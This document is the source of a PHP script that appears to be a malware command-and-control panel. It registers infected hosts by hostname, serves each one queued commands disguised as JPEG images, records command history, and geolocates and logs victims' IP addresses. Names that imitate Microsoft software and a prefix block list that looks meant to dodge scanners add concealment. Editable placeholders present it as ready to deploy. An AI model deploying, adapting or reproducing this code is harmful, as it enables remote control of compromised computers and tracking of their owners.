<?php
// Array of prefixes to block
$blocked_prefixes = array(
    //'72.74.170',
    //'54.235.232',
    //'18.209.18'
);

// Get the user's IP address
$user_ip_parts = explode('.', $_SERVER['REMOTE_ADDR']);
$user_ip_prefix = $user_ip_parts[0] . '.' . $user_ip_parts[1] . '.' . $user_ip_parts[2];
$pn='mssoftwa';     //EDIT PANEL NAME HERE
$pp= 'mssdf';       //EIDT PHP NAME HERE
$ff='mic.ov';       //EDIT FILE NAME HERE
$parameter='ir'; // Edit parameter here
// Check if the user's IP prefix matches any of the blocked prefixes
if (in_array($user_ip_prefix, $blocked_prefixes)) {
    // IP matches a blocked prefix, deny access
    //http_response_code(403); // Forbidden
    exit("");
}



$hostName = isset($_GET[$parameter]) && !empty($_GET[$parameter]) ? $_GET[$parameter] : "HOST_NAME_NOT_FOUND";
$ip = $_SERVER['REMOTE_ADDR'];
$sys_path="/home/".$pn."/".$pp."_".$ff."_".$parameter; //Edit here panel name parameter
$log_path = $sys_path."/".date("ymd")."_".$pn."_log.txt"; //LOG NAME

function gld($ip) {
    $api_url = "http://ip-api.com/json/{$ip}?fields=status,message,country,regionName,city";
    $response = file_get_contents($api_url);
    $data = json_decode($response, true);
    return $data;
}

$ld = gld($ip);

if ($ld['status'] === 'fail') {
    $cn = 'Unknown';
    $rn = 'Unknown';
    $cin = 'Unknown';
} else {
    $cn = $ld['country'] ?? 'Unknown';
    $rn = $ld['regionName'] ?? 'Unknown';
    $cin = $ld['city'] ?? 'Unknown';
}


// File download logic should be placed here, inside the block that handles cases where the IP is not blocked

$dir = $sys_path."/systems/".$hostName;
$fp = $dir."/".$ff; // FILE NAME

$ty="/home/".$pn."/".$pp."_".$ff;   ///CREATE FILE HERE php_fileName


if (!file_exists($dir)) {
    mkdir($dir, 0777, true);
   if (file_exists($ty)) {
        header('Content-type: image/jpeg');
        readfile($ty);
        $his = $dir."/"."comhis.txt";
        $conta = file_get_contents($ty);
        $contb = date('Y-m-d H:i:s') ."\n".$conta ."\n\n\n\n";
        $curr_comhis=file_get_contents($his);
        $new_comhis=$contb.$curr_comhis;
        file_put_contents($his, $new_comhis);
    }

} else {
    header('Content-type: image/jpeg');
    if(file_exists($fp)) {
        readfile($fp);
        $his = $dir."/"."comhis.txt";
        $rip = $dir."/"."done.txt";
        $conta = file_get_contents($fp);
        $contb = "\n\n".date('Y-m-d H:i:s') ."\n".$conta . "\n\n" . "\n\n";
        $curr_comhis=file_get_contents($his);
        $new_comhis=$contb.$curr_comhis;
        file_put_contents($his, $new_comhis);
        if (file_exists($rip)) {
            unlink($rip); // Delete the existing file if it exists
            }
        rename($fp, $rip);
    }
}
function formatString($string, $length, $padChar = ' ', $padType = STR_PAD_RIGHT) {
    // First, truncate the string if it is longer than the specified length
    if (strlen($string) > $length) {
        $string = substr($string, 0, $length);
    }
    
    // Then, pad the string if it is shorter than the specified length
    return str_pad($string, $length, $padChar, $padType);
}


$currentDate = date("d-m-Y h:i:sa O");
$curr_log=file_get_contents($log_path);
$dash=str_repeat('_',10);
$ip=str_pad($ip,15,'_');
$coun="{$cin},{$rn},{$cn}";
$coun=str_pad($coun,50, '_');
$neen="{$currentDate}{$dash}{$ip}{$dash}{$coun}{$dasg}{$hostName}\n";
$new_cont=$neen.$curr_log;
file_put_contents($log_path,$new_cont);
?>